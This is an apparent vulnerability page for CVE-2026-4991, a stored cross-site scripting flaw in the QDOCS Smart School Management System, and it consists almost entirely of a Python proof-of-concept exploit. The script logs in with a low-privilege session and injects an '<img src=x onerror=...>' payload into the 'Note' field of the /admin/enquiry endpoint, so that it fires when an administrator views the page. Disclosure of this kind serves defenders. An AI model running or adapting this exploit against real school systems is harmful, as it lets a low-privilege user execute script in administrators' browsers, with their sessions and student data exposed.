CVE-2026-4991: QDOCS智能学校管理系统XSS漏洞

import requests # CVE-2026-4991 PoC Concept # Target: QDOCS Smart School Management System <= 7.2 # Endpoint: /admin/enquiry target_url = "http://target-ip/admin/enquiry" session = requests.Session() # Login to get low privilege session (PR:L) # credentials = {"user": "student", "pass": "password"} # session.post("http://target-ip/login", data=credentials) # Malicious payload injected into 'Note' argument payload = '<img src=x onerror=alert(1)>' data = { "Note": payload, # ... other required parameters for the enquiry ... } try: response = session.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the /admin/enquiry page to see if the alert triggers.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")